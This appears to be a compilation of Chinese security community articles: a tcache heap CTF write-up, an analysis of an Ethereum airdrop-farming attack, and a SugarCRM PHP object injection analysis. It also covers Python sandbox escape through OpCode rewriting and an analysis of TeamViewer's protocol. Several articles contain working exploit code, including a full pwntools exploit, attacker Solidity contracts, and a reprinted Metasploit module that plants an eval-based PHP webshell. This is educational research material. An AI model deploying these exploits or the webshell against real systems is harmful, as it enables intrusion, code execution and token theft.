* 题目可以控制malloc的大小，因此选择创建一个可以放入`unsorted bin`的chunk进行libc地址泄露。
解题步骤：
* 申请两个大于`tcache`范围的heap，中间预留一个heap（`tcache`范围内即可）做备用，依次记作`#0，#1，#2`，对应下图的第2-4个chunk。
* 把`#0`和`#1`两个heap释放掉，此时`#0`号进入`unsorted bins`，`#1`号进入`tcache`。
* 申请一个`#1`号大小的heap（`#0'`），利用`off by null`修改掉`#2`号heap的`size`，还要改掉`pre_size`，当free掉`#2`号heap时即可发生向前合并，此时`#0'`号heap将与`unsorted bin`重叠。
* 申请一个`#0`号大小的heap，这时`#0'`号与分割后的`unsorted bin`的`fd`重叠，打印`#0'`号heap信息即可泄露libc地址。
* 申请一个`#0'`号大小的heap(`#2'`)，`#0'`和`#2'`将重叠，可以进行`double free`。
* 跟着就是`tcache dup`的常规套路。
坑点：
* 由于delete的时候填充了垃圾数据`\xDA`，而且new的时候写入是有`\x00`截断，因此需要利用`strcpy`会复制末尾`\x00`的特点，不停改变新建heap的大小，然后删除，一字节一字节地把`\xDA`清空掉，之后才能正确填充`pre_size`。
完整EXP：
from pwn import *
p = process('./children_tcache')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
def new(size,content):
p.sendlineafter('Your choice: ','1')
p.sendlineafter('Size:',str(size))
p.sendafter('Data:',content)
def show(idx):
p.sendlineafter('Your choice: ','2')
p.sendlineafter('Index:',str(idx))
def delete(idx):
p.sendlineafter('Your choice: ','3')
p.sendlineafter('Index:',str(idx))
# unsorted bins > 0x408
new(0x410,'0000') #0
new(0x20,'1111') #1
new(0x4f0,'2222') #2
new(0x20,'3333') #3
delete(0)
delete(1)
# overwrite next chunk size & clean pre_size
for i in range(0,9):
new(0x28-i,(0x28-i)*'a') #0
delete(0)
# overlapping chunks
new(0x28,'a'*0x20+p64(0x450)) #0
delete(2)
new(0x418,'1111') #1
show(0)
libc.address = u64(p.recv(6).ljust(8,'\x00')) - 0x3ebc40 - 96
success('libc.address:{:#x}'.format(libc.address))
# overwrite free_hook to onegadget
new(0x28,'2222') #2
delete(0)
delete(2) # 0 = 2
new(0x28,p64(libc.sym['__free_hook']))
new(0x28,'3333')
one_gadget = libc.address + 0x4f322
new(0x28,p64(one_gadget))
delete(3)
p.interactive()
## 总结
tcache的安全检查特别少，利用起来比较简单，此类题目的主要难点在于如何泄露libc地址以及如何创建重叠堆块。这3个题目基本把libc泄露，tcache
poisoning，tcache dup，overlapping chunks都涵盖，值得学习一下。 | 社区文章 |
### 一、问题简介
熟悉以太坊的读者都清楚，在以太坊机制中，为了防止恶意节点滥用区块资源、防止Dos攻击，所以引入了Gas机制。然而防御也是存在某些漏洞隐患的，今天的文章中，我们就根据某些实例中的代码编写问题来展开叙述一下Dos循环的安全漏洞。
也就是说，在合约编写者设计合约代码的时候，不宜使用太大次的循环。由于每一笔交易都是会消耗一定的gas，而实际消耗gas值的多少取决于当前交易内部的复杂度。倘若一个交易中存在大量的循环，那么交易的复杂度会变的更高，此时当超过允许的最大gas消耗量时，会导致交易失败。
### 二、代码分析
#### Simoleon合约
下面我们详细的分析一下相关问题的代码情况。
简单来说`Simoleon`是一个私有的token代币名称，而根据其具体的合约分析，其实现机制中存在很严重的漏洞，从而导致用户进行薅羊毛的过程来恶意获得代币。下面我们来看一下具体的代码：
被攻击的合约地址为`0x86c8bf8532aa2601151c9dbbf4e4c4804e042571`，其合约代码在链接：<https://etherscan.io/address/0x86c8bf8532aa2601151c9dbbf4e4c4804e042571#code中。>
下面我们详细的分析一下代码的具体过程。
代码起始部分定义了一个父合约`ERC20Interface`。在父合约中我们看到了7个函数，而这些函数就是我们上一篇文章中分析过的ERC20代币的interface。也更好的反正了我们当时所说几乎所有的代币目前都是基于ERC20而创建的。而函数的具体用法大家可以参照我上一篇文章。
pragma solidity ^0.4.8;
contract ERC20Interface {
function totalSupply() public constant returns (uint256 supply);
function balance() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
之后进入了主合约阶段：
contract Simoleon is ERC20Interface {
string public constant symbol = "SIM";
string public constant name = "Simoleon";
uint8 public constant decimals = 2;
uint256 _totalSupply = 0;
uint256 _airdropAmount = 1000000;
uint256 _cutoff = _airdropAmount * 10000;
mapping(address => uint256) balances;
mapping(address => bool) initialized;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
在变量的初始化中，合约定义了六个成员变量。分别表示：`合约类型、合约名字、小数位数、合约总金额、合约空投金额、账户余额以及账户布尔定义`
合约名为：`Simoleon`，并且继承了`ERC20Interface`。也就意味着合约实现了多态性并且根据自己的目标重定义了函数。下面，我们来看一下具体函数的实现方法。
function Simoleon() {
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount * 1000;
_totalSupply = balances[msg.sender];
}
function totalSupply() constant returns (uint256 supply) {
return _totalSupply;
}
// What's my balance?
function balance() constant returns (uint256) {
return getBalance(msg.sender);
}
// What is the balance of a particular account?
function balanceOf(address _address) constant returns (uint256) {
return getBalance(_address);
}
首先是构造函数`Simoleon
()`。在构造函数中，合约会将初始地址sender标记为true(此标记用于记录账户是否是首次出现)，之后会初始化余额为`_airdropAmount *
1000`，然后更新合约总金额。
而下面的三个函数为`constant`类型的查看函数，用于对`_totalSupply 、getBalance(msg.sender)
、getBalance(_address)`的值进行查看。
之后我们就进入了此合约比较关键的函数--初始化函数。
// internal private functions
function initialize(address _address) internal returns (bool success) {
if (_totalSupply < _cutoff && !initialized[_address]) {
initialized[_address] = true;
balances[_address] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
我们来对此函数进行下分析，在此函数中，我们会传入一个地址。首先会判断总金额有没有达到我们规定的上限以及我传入的地址是否被标记过（即是否是初次调用初始化函数）。若满足条件则进入函数体：将地址标记为真，然后向新合约赠送空投（即注册就送一些钱），之后更新合约中总金额。
之后是转账函数：
// Transfer the balance from owner's account to another account
function transfer(address _to, uint256 _amount) returns (bool success) {
initialize(msg.sender);
if (balances[msg.sender] >= _amount
&& _amount > 0) {
initialize(_to);
if (balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
} else {
return false;
}
}
在转账函数调用的过程中，我们传入收款方以及转账金额。首先是需要对此地址是否进行过初始化进行判断。在完成金额判断后（`balances[msg.sender]
>= _amount && _amount > 0`
）我们调用初始化函数（用于防止传入的to地址是首次调用的情况）。此时我的to也就无非两种情况：①不是第一次使用初始化，此时初始化无效。②是第一次初始化，合约赠送代币。
之后跳入`if (balances[_to] + _amount >
balances[_to])`。用于防止溢出，之后进行转账记录并emit相应的事件（方便管理员进行后续的查看工作以及追踪交易记录）。
function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) {
initialize(_from);
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0) {
initialize(_to);
if (balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
} else {
return false;
}
}
上面的`transferFrom`也是如此，只不过使用了ERC20中的`allowed`变量来允许代转账操作。（详细的解释看我上一篇文章）
再之后就是一些基础的函数：
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function getBalance(address _address) internal returns (uint256) {
if (_totalSupply < _cutoff && !initialized[_address]) {
return balances[_address] + _airdropAmount;
}
else {
return balances[_address];
}
}
分别是`授权函数、查看allowed值的函数、以及获取余额的函数`。而获取余额函数中分了两种情况：①未初始化的地址，返回空投金额。②初始化过的，返回正常地址。
而下面我们来看一下具体的安全隐患。
因为合约设计的本意就是给未进行初始化的账户赠送`1000000
wei`的以太币，所以我们理所应当的就会想到我们可以多创建几个小号来获得奖励，并将小号中的钱都转给一个账户。以此来达到薅羊毛的作用。
我们来看一下真实合约中存在的攻击。
这个用户就是在进行合约部署中采取了上述的薅羊毛攻击。从而使自己的余额达到了`7,110,000
SIM`之多。而在分析该账户的实际调用中，我们发现该账户生成了多个不同地址的合约，并且将每个临时合约所获得的奖励金额全部转到攻击地址中，之后以达到薅羊毛的作用。
而下面我们进行具体的代码分析。
在薅羊毛的过程中，最重要的部分就是这个转账函数。攻击者可以编写攻击合约并new出许多临时合约，并在这些合约中调用此函数，将`_to`的地址设置为攻击合约地址。并将`_amount`设置为转账金额，以此达到无限转账的目的。而在黑客攻击的时候，基于Gas值的限制，所以他无法循环调用多次new操作，因为这样会消耗大量的gas。
如图所示，当黑客将循环设置为80的时候，tx失败。而50则可以正常进行，这就是因为80次交易会超出gas的limitation。
类似的问题我们还有Lctf中的一个题目。
链接如下：<https://paper.seebug.org/747/。大家可以下去后自行研究。>
### 三、攻击复现
在网上的一些材料中也有对此攻击的具体实现手段，但是唯独缺少了一些攻击手段实现的脚本，所以下面我们针对此问题着手进行脚本的撰写，并模拟部署攻击环节。
下面我们部署一下相应的合约。
合约采用0.4.8版本。
首先我们放上部署的被攻击合约：
pragma solidity ^0.4.8;
contract ERC20Interface {
function totalSupply() public constant returns (uint256 supply);
function balance() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Simoleon is ERC20Interface {
string public constant symbol = "SIM";
string public constant name = "Simoleon";
uint8 public constant decimals = 2;
uint256 _totalSupply = 0;
uint256 _airdropAmount = 1000000;
uint256 _cutoff = _airdropAmount * 10000;
mapping(address => uint256) balances;
mapping(address => bool) initialized;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
function Simoleon() {
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount * 1000;
_totalSupply = balances[msg.sender];
}
function totalSupply() constant returns (uint256 supply) {
return _totalSupply;
}
// What's my balance?
function balance() constant returns (uint256) {
return getBalance(msg.sender);
}
// What is the balance of a particular account?
function balanceOf(address _address) constant returns (uint256) {
return getBalance(_address);
}
// internal private functions
function initialize(address _address) internal returns (bool success) {
if (_totalSupply < _cutoff && !initialized[_address]) {
initialized[_address] = true;
balances[_address] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
// Transfer the balance from owner's account to another account
function transfer(address _to, uint256 _amount) returns (bool success) {
initialize(msg.sender);
if (balances[msg.sender] >= _amount
&& _amount > 0) {
initialize(_to);
if (balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
} else {
return false;
}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) {
initialize(_from);
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0) {
initialize(_to);
if (balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
} else {
return false;
}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function getBalance(address _address) internal returns (uint256) {
if (_totalSupply < _cutoff && !initialized[_address]) {
return balances[_address] + _airdropAmount;
}
else {
return balances[_address];
}
}
}
之后我们在测试账号中部署`Simoleon`合约。
我们可以看到有如下一些函数。
我们可以对一些函数运行，例如我们对当前账户的余额进行查看，得到：
而此处的`1000000000`则是系统赠予的初始金额（空投）。
下面我们攻击的思路就是利用合约new出来许多新的临时地址，然后调用临时地址的转账函数把系统赠送的钱转给同一个账户。
下面我们看具体的合约内容：
contract attacker{
address addr = 0x692a70d2e424a56d2c6c27aa97d1a86395877b3a;
Simoleon target = Simoleon(addr);
//view contract's balance
function viewBalance() public constant returns(uint256){
return target.balanceOf(this);
}
}
首先我们先部署一个攻击者收钱合约。地址为：`0xfc713aab72f97671badcb14669248c4e922fe2bb`
我们部署此合约的目的有两个，一是用于查看此账户的余额（因为它作为最后的总收款账户），二是用于为临时合约们提供转账地址。
我们可以看到合约现在的余额是系统赠送的那`1000000 wei`。
下面我们部署攻击合约，首先是临时合约对象的部署：
contract attack{
address target = 0x692a70d2e424a56d2c6c27aa97d1a86395877b3a;
function attack() {
target.call(bytes4(keccak256("transfer(address,uint256)")),0xfc713aab72f97671badcb14669248c4e922fe2bb, 1000000);
selfdestruct(this);
}
}
函数很简单，target为我们`Simoleon`的部署合约地址，在构造函数中使用call方法调用了target的`transfer()`函数，并将接受地址设置为我们的`attacker合约`地址，并设置转账金额为赠送金额`1000000`。
之后我们部署`build`合约，用于循环创建临时合约：
contract bulid{
function bulid() payable{ }
function deploy() public returns(bool){
for(int i=0;i<=5;i++){
new attack();
}
}
function () payable {
}
}
i的参数我起初设置的为5，用于进行小规模测试。并循环创建`attack()`临时合约。
我们进行了攻击，之后查看我们账户的余额，发现成功的获取了六次循环的6000000 。加上我们攻击账户本身赠送的一份钱，共有7000000。
下面我们加大循环次数：
**将参数设置为25**
可以运行：
**将参数设置为50**
同样部署成功。
**将参数设置为80**
时间等待特别长，这就体现了分布式的交易速度慢的问题。
发现网页崩溃emmmm，意味着超过了最大限度。
但是我们的攻击最后达成了，我们成功的利用薅羊毛的技术拿到了系统的许多金钱。
大家可以根据我提供的代码进行部署，并执行攻击操作。
**（我将代码放置附加当中，大家可以下载部署）**
### 四、参考文献
* [https://baijiahao.baidu.com/s?id=1608105718341989903&wfr=spider&for=pc](https://baijiahao.baidu.com/s?id=1608105718341989903&wfr=spider&for=pc)
* <https://etherscan.io/token/0x86c8bf8532aa2601151c9dbbf4e4c4804e042571?a=0xf2da5add7c6f8a47997efa04049ee7888542744b>
* <https://www.jianshu.com/p/6d1c06838ac7>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# 【技术分享】SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：[流浪客@ms509安全团队](http://bobao.360.cn/member/contribute?uid=1350341956)**
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
SugarCRM开源版是一款完全开放源代码的商业开源软件，具有界面活泼、简单易学的特点。美国SugarCRM公司是一间创立于2006年、但迅速在全球范围取得一定影响的客户关系管理软件厂商。其基本的商业策略是
一边销售收费低廉的企业版/专业版软件，获得收益；一边推出免费的、功能较少的开源版软件，培养未来的付费客户、吸引志愿者参加研发。大多数使用该软件的企业，并发用户数在几个到几万个的范围内。
**
**
**0x00 前言**
这个漏洞很有意思，涉及到rayt牛新提交的php底层bug，这个bug导致了sugarCRM的反序列化防御失效。
**0x01 反序列中异常对象导致__wakeup()不被执行**
php
bug（php<=5.6.24）：[https://bugs.php.net/bug.php?id=72663](https://bugs.php.net/bug.php?id=72663)
**1.原理分析**
****
static inline long object_common1(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
...
if (ce->serialize == NULL) {
object_init_ex(*rval, ce); <=== 创建对象
...
static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
{
...
if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1)) { <=== 创建对象属性
return 0;
}
if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) {
INIT_PZVAL(&fname);
ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0);
BG(serialize_lock)++;
call_user_function_ex(CG(function_table), rval, &fname, &retval_ptr, 0, 0, 1, NULL TSRMLS_CC); <=== 调用 __wakeup()
BG(serialize_lock)--;
}
通过上边代码和标注，可以清晰的认识到，在创建一个对象的过程中由于对象属性创建的时候出现异常导致__wakeup()不被调用直接return 0;
这个过程中属性是被成功创建了，析构函数依旧会被执行，这样就会导致一些安全问题。
**2.实际测试**
测试代码：
<?php
class test{
var $wanniba;
public function __destruct(){
$this->wanniba = "*__destruct<br />";
echo $this->wanniba;
echo "__destruct OK!<br />";
}
public function __wakeup(){
$this->wanniba = "*__wakeup<br />";
echo $this->wanniba;
echo "__wakeup OK!<br />";
}
}
#$a = new test();
#echo serialize($a);
$payload = 'O:4:"test":1:{s:7:"wanniba";N;}';
$payload1 = 'O:4:"test":1:{s:7:"wanniba";N;s:8:"payload";}';
$abc = unserialize($payload);
$abc1 = unserialize($payload1);
**测试结果：**
一种为正常情况，一种为异常情况，当我们构造特殊的payload的时候，程序只执行了__destruct()没有执行__wakeup()。
**0x02 SugarCRM CE <= 6.5.23 对象注入漏洞**
****
众所周知反序列化代码执行需要两个基本挑战，1.反序列化函数；2.可利用的__wakeup()和__destruct()。
**1.代码分析**
https://github.com/sugarcrm/sugarcrm_dev/blob/6.5.23/service/core/REST/SugarRestSerialize.php
可控参数rest_data,利用函数sugar_unserialize，反序列化代码执行的第一个条件有了。
https://github.com/sugarcrm/sugarcrm_dev/blob/6.5.23/include/SugarCache/SugarCacheFile.php
可利用函数 __destruct()有了，可以看见上边红框中的内容，开发人员利用__wakeup，在反序列话中会被调用的特性来防治反序列话导致的代码执行漏洞
通过我们上边的分析，可以成功bypass过这个防御，利用 __destruct()中的代码实现漏洞利用。
**2.漏洞利用测试**
研究人员已经开发好了msf的利用方法：
<https://www.exploit-db.com/exploits/40344/>
****
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'SugarCRM REST Unserialize PHP Code Execution',
'Description' => %q{
This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23
which could be abused to allow unauthenticated users to execute arbitrary PHP code with
the permissions of the webserver. The dangerous unserialize() call exists in the
'/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct()
method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory.
},
'Author' => 'EgiX',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://karmainsecurity.com/KIS-2016-07'],
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'],
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'],
['URL', 'https://bugs.php.net/bug.php?id=72663']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['SugarCRM CE <= 6.5.23', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 23 2016'
))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"])
], self.class)
end
def exploit
upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php'
payload_serialized = "O:+14:"SugarCacheFile":23:{S:17:"\00*\00_cacheFileName";"
payload_serialized << "s:#{upload_php.length+2}:"..#{upload_php}";S:16:"\00*\00"
payload_serialized << "_cacheChanged";b:1;S:14:"\00*\00_localStore";a:1:{i:0;s:55"
payload_serialized << ":"<?php eval(base64_decode($_SERVER['HTTP_PAYLOAD'])); ?>";}}"
print_status("#{peer} - Exploiting the unserialize() to upload PHP code")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'service/v4/rest.php'),
'method' => 'POST',
'vars_post' => {
'method' => 'login',
'input_type' => 'Serialize',
'rest_data' => payload_serialized
}
})
if not res or res.code != 200
print_error("#{peer} - Exploit failed: #{res.code}")
return
end
register_files_for_cleanup(File.basename(upload_php))
print_status("#{peer} - Executing the payload #{upload_php}")
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, upload_php),
'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) }
})
if res and res.code != 200
print_error("#{peer} - Payload execution failed: #{res.code}")
return
end
end
end
****
**0x03 总结**
一个php的底层小bug引起的上层php开发中防御措施实效。
引用：
<https://bugs.php.net/bug.php?id=72663>
<https://github.com/php/php-src/blob/PHP-5.6.26/ext/standard/var_unserializer.c>
<https://www.exploit-db.com/exploits/40344/>
<https://github.com/sugarcrm/sugarcrm_dev/blob/de002ede6b3f62ea9f0e22a49ba281c680bc69d7/Zend/Http/Response/Stream.php>
<https://packetstormsecurity.com/files/137638/SugarCRM-6.5.23-SugarRestSerialize.php-PHP-Object-Injection.html> | 社区文章 |
# 利用OpCode绕过Python沙箱
## 0x01 OpCode
> opcode又称为操作码，是将python源代码进行编译之后的结果，python虚拟机无法直接执行human-> readable的源代码，因此python编译器第一步先将源代码进行编译，以此得到opcode。例如在执行python程序时一般会先生成一个pyc文件，pyc文件就是编译后的结果，其中含有opcode序列。
### 如何查看一个函数的OpCode?
def a():
if 1 == 2:
print("flag{****}")
print "Opcode of a():",a.__code__.co_code.encode('hex')
通过此方法我们可以得到a函数的`OpCode`
Opcode of a(): 6401006402006b020072140064030047486e000064000053
我们可以通过`dis`库获得相应的解析结果。
import dis
dis.dis('6401006402006b020072140064030047486e000064000053'.decode('hex'))
得到反编译的结果
0 LOAD_CONST 1 (1)
3 LOAD_CONST 2 (2)
6 COMPARE_OP 2 (==)
9 POP_JUMP_IF_FALSE 20
12 LOAD_CONST 3 (3)
15 LOAD_BUILD_CLASS
16 YIELD_FROM
17 JUMP_FORWARD 0 (to 20)
>> 20 LOAD_CONST 0 (0)
23 RETURN_VALUE
### 常见的字节码指令
为了进一步研究OpCode，我们可以对dis的`disassemble_string`函数进行patch
在124行加入
print hex(op).ljust(6),
可以查看具体的字节码。
0 LOAD_CONST 0x64 1 (1)
3 LOAD_CONST 0x64 2 (2)
6 COMPARE_OP 0x6b 2 (==)
9 POP_JUMP_IF_FALSE 0x72 20
12 LOAD_CONST 0x64 3 (3)
15 LOAD_BUILD_CLASS 0x47
16 YIELD_FROM 0x48
17 JUMP_FORWARD 0x6e 0 (to 20)
>> 20 LOAD_CONST 0x64 0 (0)
23 RETURN_VALUE 0x53
#### 变量
指令名 | 操作
---|---
LOAD_GLOBAL | 读取全局变量
STORE_GLOBAL | 给全局变量赋值
LOAD_FAST | 读取局部变量
STORE_FAST | 给局部变量赋值
LOAD_CONST | 读取常量
#### IF
指令名 | 操作
---|---
POP_JUMP_IF_FALSE | 当条件为假的时候跳转
JUMP_FORWARD | 直接跳转
#### CMP_OP
cmp_op = ('<', '<=', '==', '!=', '>', '>=', 'in', 'not in', 'is','is not', 'exception match', 'BAD')
其余的指令参考OpCode源码
## 0x02 利用OpCode改变程序运行逻辑
在Python中，我们可以对任意函数的`__code__`参数进行赋值，通过对其进行赋值，我们可以改变程序运行逻辑。
### Example1
def a():
if 1 == 2:
print("flag{****}")
在沙箱环境中我们需要调用这个函数，但是此函数我们无法执行到`print`语句。因此我们需要通过某种方法得到`flag`
#### Solution 1
我们直接获取`a.__code__.co_consts`，查看所有的常量。即可知道flag
(None, 1, 2, 'flag{****}')
#### Solution 2
更改程序运行逻辑
CodeType构造函数
def __init__(self, argcount, nlocals, stacksize, flags, code,
consts, names, varnames, filename, name,
firstlineno, lnotab, freevars=None, cellvars=None):
上述函数其余参数均可通过`__code.__.co_xxx`获得
因此我们
def a():
if 1 == 2:
print("flag{****}")
for name in dir(a.__code__):
print name,getattr(a.__code__,name)
输出
co_argcount 0
co_cellvars ()
co_code ddkrdGHndS
co_consts (None, 1, 2, 'flag{****}')
co_filename example1.py
co_firstlineno 1
co_flags 67
co_freevars ()
co_lnotab
co_name a
co_names ()
co_nlocals 0
co_stacksize 2
co_varnames ()
构造相应目标代码
def a():
if 1 != 2:
print("flag{****}")
print "Opcode of a():",a.__code__.co_code.encode('hex')
得到code
6401006402006b030072140064030047486e000064000053
构造payload
def a():
if 1 == 2:
print("flag{****}")
newcode = type(a.__code__)
code = "6401006402006b030072140064030047486e000064000053".decode('hex')
code = newcode(0,0,2,67,code,(None, 1, 2, 'flag{****}'),(),(),"xxx","a",1,"")
a.__code__ = code
a()
即可输出flag
### Example 2
def target(flag):
def printflag():
if flag == "":
print flag
return printflag
flag = target("flag{*******}")
del target
这一次因为是通过变量传入参数，我们无法通过上一次读`co_consts`获得变量。但是我们这次依旧可以通过重写code获得flag。
构造替代函数
def target(flag):
def printflag():
if flag != "":
print flag
return printflag
a = target("xxx")
import types
code = a.__code__.co_code.encode('hex')
print code
EXP
newcode = type(flag.__code__)
code = "8800006401006b030072140088000047486e000064000053".decode('hex')
code = newcode(0,0,2,19,code,(None, ''),(),(),"example2.py","printflag",2,"",('flag',),())
flag.__code__ = code
flag()
➜ python example2exp.py
8800006401006b030072140088000047486e000064000053
➜ python example2.py
flag{*******} | 社区文章 |
# 入侵检测系列1（中）基于私有协议的加密流量分析思路（Teamviewer篇）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面
在上篇文章中，我主要从私有协议的分析方式开始，通过抓取TeamViewer包观察其流量行为，从日志中获取协议的各个行为入手，对协议各个流程进行分解。
详情见：
入侵检测系列1(上):基于私有协议的加密流量分析思路(Teamviewer篇)
<https://www.anquanke.com/post/id/223106>
本文将继续对协议流程进行分解，包括对登陆行为分析(这里指本机连接至Server)，发出连接请求，成功连接，两台机器间的通讯和一些其他操作进行解析，并在最后附上协议流程的时序图。受篇幅限制，关于TeamViewer的加密与身份验证内容将在下篇文章中详细讲述。
## 2.1 协议流程：登陆行为分析 (接上文)
**Mater Server 与 KeepAalive**
与MasterServer不同，KeepAliveServer拥有自己的TeamViewer网络ID：返回路由器Ping时，它们包含
Ping所经过的网络跃点列表 （通常仅包含初始发送者的ID和KeepAlive服务器的ID）。
**KeepAlive Server**
本机TeamViewer连接到KeepAlive
Server，并完成与master的登录后完成客户端到TeamViewer的所有连接。这个时候还是没有执行任何密钥交换或者加密的状态。此时，TeamViewer状态栏显示本机客户端“连接准备已就绪（安全连接）”。
### 2.2 协议流程:本机TeamViewer发出请求连接
心跳包(keepalive
server)用于维持在线状态。本机TeamViewer连接对方TeamViewer时候会发出心跳用于与对方TeamViewer进行通信、协商连接。本机TeamViewer登陆时候TeamViewer采用
_CMD_MasterCommand_ 命令，通过master服务器传出连接信息。
**CMD_MASTERCOMMAND**
设备使用此命令来告知TeamViewer master服务器已准备好进行通信。里面包含了登陆动作logging=1，mid,
mac地址，licensecode，tv版本号等。
在这一阶段，本地TeamViewer开始建立与对方TeamViewer的连接。客户端会根据系统发送的指定硬件数据在Server生成唯一的客户端ID，也就是说它在同一台PC上的所有TeamViewer
ID都是固定的。ID在CMD_MASTERCOMMAND阶段生成，CMD_MASTERCOMMAND包含主网络接口的（en0）MAC地址和计算机的序列号。
_CMD_MasterCommand_ 到master的请求连接 。请求参数包括以下内容：
_MID_ =系统唯一ID（如上所述）
_ID_ =客户端ID
_ID2_ =目的地ID
_v_ =客户端版本
_ic_ =未知
_os_ = 当前操作系统
如果结果为 _CONNECT_ ，则表示目标有效，并且当前已连接到KeepAlive服务器。此时，KeepAlive服务器将向目标发送一个
_CMD_RequestConnect_ 来启动连接。CONNECT响应还将包含目标端点的RSA 公钥。 _NOROUTE_KeepAliveLost_
表示该ID在某个时候有效，但是本机不再连接到KeepAlive服务器（即TeamViewer目前未运行）。 _NOROUTE_IdNotFound_
表示该ID永远无效。
**CMD_MASTERRESPONSE**
这是对响应 **CMD_MASTERCOMMAND**
，在16年的版本中，它含有配置。该配置信息中包含服务器名称及其对应的IP地址，标识符以及源端口和目标端口对的列表。这些列表使得设备了解以后要与哪些服务器通信。在19年和20年的版本，它只返回了本机ID和对方的ID，在第二次返回的时候返回OK表示是否识别到对方ID。
所以我们在pcap看到的动作如下：
**CMD_IDENTIFY**
这是设备用来向基础结构标识自己的另一条消息。再次，我们看到与TeamViewer应用程序关联的九位数字标识符，但是我们还看到了其他字段，这些字段为基础结构的非主要部分提供了有关设备的其他信息。
此时TeamViewer协商过程如下：
**CMD_BUDDY**
从图中，我们可以知道TeamViewer通过发送Buddy命令至KeepAliveServer。通过Buddy来确认KeepAliveServer存活状态、网络是否可达。Buddy命令其实与许可证相关，比如，某个客户违反免费许可证条例时，客户将被列入黑名单，即显示的是连接未就绪，它会要求用户使用商业模式。
### 2.3 协议流程:成功连接
**CMD_IDENTIFY**
这是本机TeamViewer用来标识自己的另一条消息。同时，我看到本机TeamViewer的9位数字的身份ID，除此之外还看到了其他字段，这些字段作为本机信息的非主要部分向对方提供了本机TeamViewer的其他信息。
